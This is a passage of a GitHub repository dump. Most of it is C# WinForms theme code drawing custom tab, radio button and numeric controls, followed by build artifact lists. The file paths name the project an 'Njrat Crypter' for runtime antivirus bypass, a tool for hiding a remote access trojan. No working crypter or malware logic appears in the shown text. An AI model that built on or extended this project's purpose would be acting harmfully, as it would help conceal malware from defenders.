Pen(Helpers.ColorFromHex("#484848"))) 1012 | { 1013 | Helpers.G.FillRectangle(Fill, new Rectangle(0, 0, 16, 16)); 1014 | Helpers.G.DrawRectangle(Border, new Rectangle(0, 0, 16, 16)); 1015 | } 1016 | } 1017 | 1018 | using (SolidBrush TextBrush = new SolidBrush(ColorFromHex("#818181"))) 1019 | { 1020 | using (Font TextFont = new Font("Segoe UI", 9)) 1021 | { 1022 | Helpers.G.DrawString(Text, TextFont, TextBrush, new Point(25, -1)); 1023 | } 1024 | } 1025 | 1026 | using (Font CheckFont = new Font("Marlett", 12)) 1027 | { 1028 | using (SolidBrush CheckBrush = new SolidBrush(Helpers.ColorFromHex("#707070"))) 1029 | { 1030 | Helpers.G.DrawString("b", CheckFont, CheckBrush, new Point(-2, 1)); 1031 | } 1032 | } 1033 | 1034 | using (SolidBrush Fill = new SolidBrush(Helpers.ColorFromHex("#282828"))) 1035 | { 1036 | Helpers.G.SmoothingMode = SmoothingMode.None; 1037 | Helpers.G.FillRectangle(Fill, OverFillRect); 1038 | } 1039 | 1040 | } 1041 | 1042 | } 1043 | 1044 | protected override void OnMouseEnter(EventArgs e) 1045 | { 1046 | State = MouseState.Over; 1047 | Invalidate(); 1048 | base.OnMouseEnter(e); 1049 | } 1050 | 1051 | protected override void OnMouseLeave(EventArgs e) 1052 | { 1053 | State = MouseState.None; 1054 | Invalidate(); 1055 | base.OnMouseLeave(e); 1056 | } 1057 | 1058 | 1059 | protected override void OnCheckedChanged(EventArgs e) 1060 | { 1061 | if (Checked) 1062 | { 1063 | CheckThread = new Thread(CheckAnimation) { IsBackground = true }; 1064 | CheckThread.Start(); 1065 | } 1066 | else 1067 | { 1068 | UncheckThread = new Thread(UncheckAnimation) { IsBackground = true }; 1069 | UncheckThread.Start(); 1070 | } 1071 | 1072 | if (!Block) 1073 | { 1074 | base.OnCheckedChanged(e); 1075 | } 1076 | 1077 | } 1078 | 1079 | } 1080 | 1081 | public class BoosterTabControl : TabControl 1082 | { 1083 | 1084 | private Rectangle MainRect; 1085 | 1086 | private Rectangle OverRect; 1087 | 1088 | private int SubOverIndex = -1; 1089 | private bool Hovering 1090 | { 1091 | get { return !(OverIndex == -1); } 1092 | } 1093 | 1094 | private int OverIndex 1095 | { 1096 | get { return SubOverIndex; } 1097 | set 1098 | { 1099 | SubOverIndex = value; 1100 | if (!(SubOverIndex == -1)) 1101 | { 1102 | OverRect = GetTabRect(OverIndex); 1103 | } 1104 | Invalidate(); 1105 | } 1106 | } 1107 | 1108 | public BoosterTabControl() 1109 | { 1110 | DoubleBuffered = true; 1111 | Font = new Font("Segoe UI", 10); 1112 | ForeColor = Helpers.ColorFromHex("#78797B"); 1113 | ItemSize = new Size(40, 170); 1114 | SizeMode = TabSizeMode.Fixed; 1115 | Alignment = TabAlignment.Left; 1116 | SetStyle(ControlStyles.UserPaint | ControlStyles.AllPaintingInWmPaint | ControlStyles.Opaque | ControlStyles.OptimizedDoubleBuffer, true); 1117 | } 1118 | 1119 | protected override void CreateHandle() 1120 | { 1121 | foreach (TabPage Tab in TabPages) 1122 | { 1123 | Tab.BackColor = Helpers.ColorFromHex("#424242"); 1124 | Tab.ForeColor = Helpers.ColorFromHex("#B6B6B6"); 1125 | Tab.Font = new Font("Segoe UI", 9); 1126 | } 1127 | base.CreateHandle(); 1128 | } 1129 | 1130 | 1131 | protected override void OnPaint(PaintEventArgs e) 1132 | { 1133 | Helpers.G = e.Graphics; 1134 | Helpers.G.SmoothingMode = SmoothingMode.HighQuality; 1135 | Helpers.G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit; 1136 | 1137 | Helpers.G.Clear(Helpers.ColorFromHex("#333333")); 1138 | 1139 | using (Pen Border = new Pen(Helpers.ColorFromHex("#292929"))) 1140 | { 1141 | Helpers.G.SmoothingMode = SmoothingMode.None; 1142 | Helpers.G.DrawLine(Border, ItemSize.Height + 3, 4, ItemSize.Height + 3, Height - 5); 1143 | } 1144 | 1145 | 1146 | for (int I = 0; I <= TabPages.Count - 1; I++) 1147 | { 1148 | MainRect = GetTabRect(I); 1149 | 1150 | 1151 | if (SelectedIndex == I) 1152 | { 1153 | using (SolidBrush Selection = new SolidBrush(Helpers.ColorFromHex("#424242"))) 1154 | { 1155 | Helpers.G.FillRectangle(Selection, new Rectangle(MainRect.X - 6, MainRect.Y + 2, MainRect.Width + 8, MainRect.Height - 1)); 1156 | } 1157 | 1158 | using (SolidBrush SelectionLeft = new SolidBrush(Helpers.ColorFromHex("#F63333"))) 1159 | { 1160 | Helpers.G.FillRectangle(SelectionLeft, new Rectangle(MainRect.X - 2, MainRect.Y + 2, 3, MainRect.Height - 1)); 1161 | } 1162 | 1163 | using (SolidBrush TextBrush = new SolidBrush(ColorFromHex("#F5F5F5"))) 1164 | { 1165 | using (Font TextFont = new Font("Segoe UI", 10)) 1166 | { 1167 | Helpers.G.DrawString(TabPages[I].Text, TextFont, TextBrush, new Point(MainRect.X + 25, MainRect.Y + 11)); 1168 | } 1169 | } 1170 | 1171 | 1172 | } 1173 | else 1174 | { 1175 | using (SolidBrush TextBrush = new SolidBrush(ColorFromHex("#C0C0C0"))) 1176 | { 1177 | using (Font TextFont = new Font("Segoe UI", 10)) 1178 | { 1179 | Helpers.G.DrawString(TabPages[I].Text, TextFont, TextBrush, new Point(MainRect.X + 25, MainRect.Y + 11)); 1180 | } 1181 | } 1182 | 1183 | } 1184 | 1185 | 1186 | if (Hovering) 1187 | { 1188 | using (SolidBrush Selection = new SolidBrush(Helpers.ColorFromHex("#383838"))) 1189 | { 1190 | Helpers.G.FillRectangle(Selection, new Rectangle(OverRect.X - 6, OverRect.Y + 2, OverRect.Width + 8, OverRect.Height - 1)); 1191 | } 1192 | 1193 | using (SolidBrush TextBrush = new SolidBrush(ColorFromHex("#C0C0C0"))) 1194 | { 1195 | using (Font TextFont = new Font("Segoe UI", 10)) 1196 | { 1197 | Helpers.G.DrawString(TabPages[OverIndex].Text, TextFont, TextBrush, new Point(OverRect.X + 25, OverRect.Y + 11)); 1198 | } 1199 | } 1200 | 1201 | } 1202 | 1203 | } 1204 | 1205 | base.OnPaint(e); 1206 | 1207 | } 1208 | 1209 | protected override void OnMouseMove(MouseEventArgs e) 1210 | { 1211 | for (int I = 0; I <= TabPages.Count - 1; I++) 1212 | { 1213 | if (GetTabRect(I).Contains(e.Location) & !(SelectedIndex == I)) 1214 | { 1215 | OverIndex = I; 1216 | break; // TODO: might not be correct. Was : Exit For 1217 | } 1218 | else 1219 | { 1220 | OverIndex = -1; 1221 | } 1222 | } 1223 | base.OnMouseMove(e); 1224 | } 1225 | 1226 | protected override void OnMouseLeave(EventArgs e) 1227 | { 1228 | OverIndex = -1; 1229 | base.OnMouseLeave(e); 1230 | } 1231 | 1232 | } 1233 | 1234 | public class BoosterRadioButton : RadioButton 1235 | { 1236 | 1237 | 1238 | private MouseState State; 1239 | private Thread CheckThread; 1240 | private Thread UncheckThread; 1241 | 1242 | private Rectangle EllipseRect = new Rectangle(5, 5, 6, 6); 1243 | public BoosterRadioButton() 1244 | { 1245 | DoubleBuffered = true; 1246 | Font = new Font("Segoe UI", 9); 1247 | SetStyle(ControlStyles.UserPaint | ControlStyles.AllPaintingInWmPaint | ControlStyles.Opaque | ControlStyles.OptimizedDoubleBuffer, true); 1248 | } 1249 | 1250 | 1251 | private void CheckAnimation() 1252 | { 1253 | int X = 1; 1254 | int Y = 1; 1255 | int EllipseW = 14; 1256 | int EllipseH = 14; 1257 | 1258 | 1259 | while (!(EllipseH == 8)) 1260 | { 1261 | if (X < 4) 1262 | { 1263 | X += 1; 1264 | Y += 1; 1265 | } 1266 | 1267 | EllipseW -= 1; 1268 | EllipseH -= 1; 1269 | EllipseRect = new Rectangle(X, Y, EllipseW, EllipseH); 1270 | Invalidate(); 1271 | Thread.Sleep(30); 1272 | } 1273 | 1274 | } 1275 | 1276 | 1277 | protected override void OnPaint(PaintEventArgs e) 1278 | { 1279 | Helpers.G = e.Graphics; 1280 | Helpers.G.SmoothingMode = SmoothingMode.HighQuality; 1281 | Helpers.G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit; 1282 | 1283 | base.OnPaint(e); 1284 | 1285 | Helpers.G.Clear(Parent.BackColor); 1286 | 1287 | 1288 | if (Enabled) 1289 | { 1290 | using (SolidBrush Fill = new SolidBrush(ColorFromHex("#242424"))) 1291 | { 1292 | using (Pen Border = new Pen(Helpers.ColorFromHex("#5C5C5C"))) 1293 | { 1294 | Helpers.G.FillEllipse(Fill, new Rectangle(0, 0, 16, 16)); 1295 | Helpers.G.DrawEllipse(Border, new Rectangle(0, 0, 16, 16)); 1296 | } 1297 | } 1298 | 1299 | switch (State) 1300 | { 1301 | 1302 | case MouseState.None: 1303 | 1304 | using (SolidBrush TextBrush = new SolidBrush(ColorFromHex("#B6B6B6"))) 1305 | { 1306 | using (Font TextFont = new Font("Segoe UI", 9)) 1307 | { 1308 | Helpers.G.DrawString(Text, TextFont, TextBrush, new Point(25, -1)); 1309 | } 1310 | } 1311 | 1312 | 1313 | break; 1314 | case MouseState.Over: 1315 | 1316 | using (SolidBrush TextBrush = new SolidBrush(ColorFromHex("#F5F5F5"))) 1317 | { 1318 | using (Font TextFont = new Font("Segoe UI", 9)) 1319 | { 1320 | Helpers.G.DrawString(Text, TextFont, TextBrush, new Point(25, -1)); 1321 | } 1322 | } 1323 | 1324 | 1325 | break; 1326 | } 1327 | 1328 | 1329 | if (Checked) 1330 | { 1331 | using (SolidBrush CheckBrush = new SolidBrush(Helpers.ColorFromHex("#909090"))) 1332 | { 1333 | Helpers.G.FillEllipse(CheckBrush, EllipseRect); 1334 | } 1335 | 1336 | } 1337 | 1338 | 1339 | } 1340 | else 1341 | { 1342 | using (SolidBrush Fill = new SolidBrush(ColorFromHex("#282828"))) 1343 | { 1344 | using (Pen Border = new Pen(Helpers.ColorFromHex("#484848"))) 1345 | { 1346 | Helpers.G.FillEllipse(Fill, new Rectangle(0, 0, 16, 16)); 1347 | Helpers.G.DrawEllipse(Border, new Rectangle(0, 0, 16, 16)); 1348 | } 1349 | } 1350 | 1351 | using (SolidBrush TextBrush = new SolidBrush(ColorFromHex("#818181"))) 1352 | { 1353 | using (Font TextFont = new Font("Segoe UI", 9)) 1354 | { 1355 | Helpers.G.DrawString(Text, TextFont, TextBrush, new Point(25, -1)); 1356 | } 1357 | } 1358 | 1359 | 1360 | if (Checked) 1361 | { 1362 | using (SolidBrush CheckBrush = new SolidBrush(Helpers.ColorFromHex("#707070"))) 1363 | { 1364 | Helpers.G.FillEllipse(CheckBrush, EllipseRect); 1365 | } 1366 | 1367 | } 1368 | 1369 | } 1370 | 1371 | } 1372 | 1373 | protected override void OnMouseEnter(EventArgs e) 1374 | { 1375 | State = MouseState.Over; 1376 | Invalidate(); 1377 | base.OnMouseEnter(e); 1378 | } 1379 | 1380 | protected override void OnMouseLeave(EventArgs e) 1381 | { 1382 | State = MouseState.None; 1383 | Invalidate(); 1384 | base.OnMouseLeave(e); 1385 | } 1386 | 1387 | 1388 | protected override void OnCheckedChanged(EventArgs e) 1389 | { 1390 | if (Checked) 1391 | { 1392 | CheckThread = new Thread(CheckAnimation) { IsBackground = true }; 1393 | CheckThread.Start(); 1394 | } 1395 | 1396 | base.OnCheckedChanged(e); 1397 | } 1398 | 1399 | } 1400 | 1401 | public class BoosterNumericUpDown : NumericUpDown 1402 | { 1403 | 1404 | private MouseState State; 1405 | public string AfterValue { get; set; } 1406 | 1407 | private Thread ValueChangedThread; 1408 | private Point TextPoint = new Point(2, 2); 1409 | 1410 | private Font TextFont = new Font("Segoe UI", 10); 1411 | public BoosterNumericUpDown() 1412 | { 1413 | DoubleBuffered = true; 1414 | Font = new Font("Segoe UI", 10); 1415 | Controls[0].Hide(); 1416 | Controls[1].Hide(); 1417 | ForeColor = Helpers.ColorFromHex("#B6B6B6"); 1418 | SetStyle(ControlStyles.UserPaint | ControlStyles.AllPaintingInWmPaint | ControlStyles.Opaque | ControlStyles.OptimizedDoubleBuffer, true); 1419 | } 1420 | 1421 | 1422 | private void ValueChangedAnimation() 1423 | { 1424 | int TextSize = 5; 1425 | 1426 | while (!(TextSize == 10)) 1427 | { 1428 | TextSize += 1; 1429 | TextFont = new Font("Segoe UI", TextSize); 1430 | Invalidate(); 1431 | Thread.Sleep(30); 1432 | } 1433 | 1434 | } 1435 | 1436 | 1437 | protected override void OnPaint(PaintEventArgs e) 1438 | { 1439 | Helpers.G = e.Graphics; 1440 | Helpers.G.SmoothingMode = SmoothingMode.HighQuality; 1441 | Helpers.G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit; 1442 | 1443 | Helpers.G.Clear(Parent.BackColor); 1444 | 1445 | base.OnPaint(e); 1446 | 1447 | 1448 | if (Enabled) 1449 | { 1450 | using (SolidBrush Fill = new SolidBrush(Helpers.ColorFromHex("#242424"))) 1451 | { 1452 | Helpers.G.FillRectangle(Fill, new Rectangle(0, 0, Width - 1, Height - 1)); 1453 | } 1454 | 1455 | switch (State) 1456 | { 1457 | 1458 | case MouseState.None: 1459 | 1460 | using (Pen Border = new Pen(Helpers.ColorFromHex("#5C5C5C"))) 1461 | { 1462 | Helpers.G.DrawRectangle(Border, new Rectangle(0, 0, Width - 1, Height - 1)); 1463 | } 1464 | 1465 | 1466 | break; 1467 | case MouseState.Over: 1468 | 1469 | using (Pen Border = new Pen(Helpers.ColorFromHex("#C8C8C8"))) 1470 | { 1471 | Helpers.G.DrawRectangle(Border, new Rectangle(0, 0, Width - 1, Height - 1)); 1472 | } 1473 | 1474 | 1475 | break; 1476 | } 1477 | 1478 | using (SolidBrush TextBrush = new SolidBrush(Helpers.ColorFromHex("#B6B6B6"))) 1479 | { 1480 | Helpers.G.DrawString(Value + AfterValue, TextFont, TextBrush, TextPoint); 1481 | } 1482 | 1483 | using (Font ArrowFont = new Font("Marlett", 10)) 1484 | { 1485 | using (SolidBrush ArrowBrush = new SolidBrush(Helpers.ColorFromHex("#909090"))) 1486 | { 1487 | Helpers.G.DrawString("5", ArrowFont, ArrowBrush, new Point(Width - 18, 2)); 1488 | Helpers.G.DrawString("6", ArrowFont, ArrowBrush, new Point(Width - 18, 10)); 1489 | } 1490 | } 1491 | 1492 | 1493 | } 1494 | else 1495 | { 1496 | using (SolidBrush Fill = new SolidBrush(ColorFromHex("#282828"))) 1497 | { 1498 | using (Pen Border = new Pen(Helpers.ColorFromHex("#484848"))) 1499 | { 1500 | Helpers.G.FillRectangle(Fill, new Rectangle(0, 0, Width - 1, Height - 1)); 1501 | Helpers.G.DrawRectangle(Border, new Rectangle(0, 0, Width - 1, Height - 1)); 1502 | } 1503 | } 1504 | 1505 | using (SolidBrush TextBrush = new SolidBrush(Helpers.ColorFromHex("#818181"))) 1506 | { 1507 | Helpers.G.DrawString(Value + AfterValue, TextFont, TextBrush, TextPoint); 1508 | } 1509 | 1510 | using (Font ArrowFont = new Font("Marlett", 10)) 1511 | { 1512 | using (SolidBrush ArrowBrush = new SolidBrush(Helpers.ColorFromHex("#707070"))) 1513 | { 1514 | Helpers.G.DrawString("5", ArrowFont, ArrowBrush, new Point(Width - 18, 2)); 1515 | Helpers.G.DrawString("6", ArrowFont, ArrowBrush, new Point(Width - 18, 10)); 1516 | } 1517 | } 1518 | 1519 | } 1520 | 1521 | } 1522 | 1523 | 1524 | protected override void OnMouseUp(MouseEventArgs e) 1525 | { 1526 | 1527 | if (e.X > Width - 16 && e.Y < 11) 1528 | { 1529 | if (!(Value + Increment > Maximum)) 1530 | { 1531 | Value += Increment; 1532 | } 1533 | else 1534 | { 1535 | Value = Maximum; 1536 | } 1537 | 1538 | } 1539 | else if (e.X > Width - 16 && e.Y > 13) 1540 | { 1541 | if (!(Value - Increment < Minimum)) 1542 | { 1543 | Value -= Increment; 1544 | } 1545 | else 1546 | { 1547 | Value = Minimum; 1548 | } 1549 | } 1550 | 1551 | Invalidate(); 1552 | 1553 | base.OnMouseUp(e); 1554 | } 1555 | 1556 | protected override void OnMouseEnter(EventArgs e) 1557 | { 1558 | State = MouseState.Over; 1559 | Invalidate(); 1560 | base.OnMouseEnter(e); 1561 | } 1562 | 1563 | protected override void OnMouseLeave(EventArgs e) 1564 | { 1565 | State = MouseState.None; 1566 | Invalidate(); 1567 | base.OnMouseLeave(e); 1568 | } 1569 | 1570 | protected override void OnValueChanged(EventArgs e) 1571 | { 1572 | ValueChangedThread = new Thread(ValueChangedAnimation) { IsBackground = true }; 1573 | ValueChangedThread.Start(); 1574 | base.OnValueChanged(e); 1575 | } 1576 | 1577 | } 1578 | 1579 | //======================================================= 1580 | //Service provided by Telerik (www.telerik.com) 1581 | //Conversion powered by NRefactory. 1582 | //Twitter: @telerik 1583 | //Facebook: facebook.com/telerik 1584 | //======================================================= 1585 | -------------------------------------------------------------------------------- /obj/Debug/DesignTimeResolveAssemblyReferences.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netreverse/Crypter-Runtime-AV-s-bypass/bd159d52a2031657d77be6e361b3b39f35b37ead/obj/Debug/DesignTimeResolveAssemblyReferences.cache -------------------------------------------------------------------------------- /obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netreverse/Crypter-Runtime-AV-s-bypass/bd159d52a2031657d77be6e361b3b39f35b37ead/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /obj/Debug/Njrat Crypter.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\Ten\Documents\Visual Studio 2015\Projects\Tool Exploit\Njrat Crypter\bin\Debug\Njrat Crypter.exe.config 2 | C:\Users\Ten\Documents\Visual Studio 2015\Projects\Tool Exploit\Njrat Crypter\bin\Debug\Njrat Crypter.exe 3 | C:\Users\Ten\Documents\Visual Studio 2015\Projects\Tool Exploit\Njrat Crypter\bin\Debug\Njrat Crypter.pdb 4 | C:\Users\Ten\Documents\Visual Studio 2015\Projects\Tool Exploit\Njrat Crypter\obj\Debug\Njrat_Crypter.Properties.Resources.resources 5 | C:\Users\Ten\Documents\Visual Studio 2015\Projects\Tool Exploit\Njrat Crypter\obj\Debug\Njrat Crypter.csproj.GenerateResource.Cache 6 | C:\Users\Ten\Documents\Visual Studio 2015\Projects\Tool Exploit\Njrat Crypter\obj\Debug\Njrat Crypter.exe 7 | C:\Users\Ten\Documents\Visual Studio 2015\Projects\Tool Exploit\Njrat Crypter\obj\Debug\Njrat Crypter.pdb 8 | C:\Users\Ten\Documents\Visual Studio 2015\Projects\Tool Exploit\Njrat Crypter\obj\Debug\Njrat_Crypter.cryptNj.resources 9 | C:\Users\Ten\Documents\Visual Studio 2015\Projects\Tool Exploit\Njrat Crypter\obj\Debug\Njrat Crypter.csprojResolveAssemblyReference.cache 10 | G:\[PROJET C#]\Crypter example Runtime bypass\Njrat Crypter\bin\Debug\Njrat Crypter.exe.config 11 | G:\[PROJET C#]\Crypter example Runtime bypass\Njrat Crypter\obj\Debug\Njrat Crypter.exe 12 | G:\[PROJET C#]\Crypter example Runtime bypass\Njrat Crypter\obj\Debug\Njrat Crypter.pdb 13 | G:\[PROJET C#]\Crypter example Runtime bypass\Njrat Crypter\bin\Debug\Njrat Crypter.exe 14 | G:\[PROJET C#]\Crypter example Runtime bypass\Njrat Crypter\bin\Debug\Njrat Crypter.pdb 15 | G:\[PROJET C#]\Crypter example Runtime bypass\Njrat Crypter\obj\Debug\Njrat Crypter.csprojResolveAssemblyReference.cache 16 | G:\[PROJET C#]\Crypter example Runtime bypass\Njrat Crypter\obj\Debug\Njrat_Crypter.cryptNj.resources 17 | G:\[PROJET C#]\Crypter example Runtime bypass\Njrat Crypter\obj\Debug\Njrat_Crypter.Properties.Resources.resources 18 | G:\[PROJET C#]\Crypter example Runtime bypass\Njrat Crypter\obj\Debug\Njrat Crypter.csproj.GenerateResource.Cache 19 | -------------------------------------------------------------------------------- /obj/Debug/Njrat Crypter.csproj.GenerateResource.Cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netreverse/Crypter-Runtime-AV-s-bypass/bd159d52a2031657d77be6e361b3b39f35b37ead/obj/Debug/Njrat Crypter.csproj.GenerateResource.Cache -------------------------------------------------------------------------------- /obj/Debug/Njrat Crypter.csprojResolveAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netreverse/Crypter-Runtime-AV-s-bypass/bd159d52a2031657d77be6e361b3b39f35b37ead/obj/Debug/Njrat Crypter.csprojResolveAssemblyReference.cache -------------------------------------------------------------------------------- /obj/Debug/Njrat Crypter.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netreverse/Crypter-Runtime-AV-s-bypass/bd159d52a2031657d77be6e361b3b39f35b37ead/obj/Debug/Njrat Crypter.pdb -------------------------------------------------------------------------------- /obj/Debug/Njrat_Crypter.Properties.Resources.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netreverse/Crypter-Runtime-AV-s-bypass/bd159d52a2031657d77be6e361b3b39f35b37ead/obj/Debug/Njrat_Crypter.Properties.Resources.resources -------------------------------------------------------------------------------- /obj/Debug/Server Crypter.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | G:\[PROJET C#]\Crypter example Runtime bypass\Njrat Crypter\bin\Debug\Server Crypter.exe.config 2 | G:\[PROJET C#]\Crypter example Runtime bypass\Njrat Crypter\obj\Debug\Server_Crypter.Properties.Resources.resources 3 | G:\[PROJET C#]\Crypter example Runtime bypass\Njrat Crypter\obj\Debug\Server Crypter.csproj.GenerateResource.Cache 4 | G:\[PROJET C#]\Crypter example Runtime bypass\Njrat Crypter\bin\Debug\Server Crypter.exe 5 | G:\[PROJET C#]\Crypter example Runtime bypass\Njrat Crypter\bin\Debug\Server Crypter.pdb 6 | G:\[PROJET C#]\Crypter example Runtime bypass\Njrat Crypter\obj\Debug\Server_Crypter.cryptNj.resources 7 | G:\[PROJET C#]\Crypter example Runtime bypass\Njrat Crypter\obj\Debug\Server Crypter.exe 8 | G:\[PROJET C#]\Crypter example Runtime bypass\Njrat Crypter\obj\Debug\Server Crypter.pdb 9 | G:\[PROJET C#]\Crypter example Runtime bypass\Server Crypter\bin\Debug\Server Crypter.exe.config 10 | G:\[PROJET C#]\Crypter example Runtime bypass\Server Crypter\obj\Debug\Server Crypter.exe 11 | G:\[PROJET C#]\Crypter example Runtime bypass\Server Crypter\obj\Debug\Server Crypter.pdb 12 | -------------------------------------------------------------------------------- /obj/Debug/Server Crypter.csproj.GenerateResource.Cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netreverse/Crypter-Runtime-AV-s-bypass/bd159d52a2031657d77be6e361b3b39f35b37ead/obj/Debug/Server Crypter.csproj.GenerateResource.Cache -------------------------------------------------------------------------------- /obj/Debug/Server Crypter.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netreverse/Crypter-Runtime-AV-s-bypass/bd159d52a2031657d77be6e361b3b39f35b37ead/obj/Debug/Server Crypter.pdb -------------------------------------------------------------------------------- /obj/Debug/Server_Crypter.Properties.Resources.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netreverse/Crypter-Runtime-AV-s-bypass/bd159d52a2031657d77be6e361b3b39f35b37ead/obj/Debug/Server_Crypter.Properties.Resources.resources -------------------------------------------------------------------------------- /obj/Debug/Server_Crypter.cryptNj.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netreverse/Crypter-Runtime-AV-s-bypass/bd159d52a2031657d77be6e361b3b39f35b37ead/obj/Debug/Server_Crypter.cryptNj.resources -------------------------------------------------------------------------------- /obj/Debug/TempPE/Properties.Resources.Designer.cs.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netreverse/Crypter-Runtime-AV-s-bypass/bd159d52a2031657d77be6e361b3b39f35b37ead/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll -------------------------------------------------------------------------------- /obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netreverse/Crypter-Runtime-AV-s-bypass/bd159d52a2031657d77be6e361b3b39f35b37ead/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs -------------------------------------------------------------------------------- /obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netreverse/Crypter-Runtime-AV-s-bypass/bd159d52a2031657d77be6e361b3b39f35b37ead/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs -------------------------------------------------------------------------------- /obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netreverse/Crypter-Runtime-AV-s-bypass/bd159d52a2031657d77be6e361b3b39f35b37ead/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs --------------------------------------------------------------------------------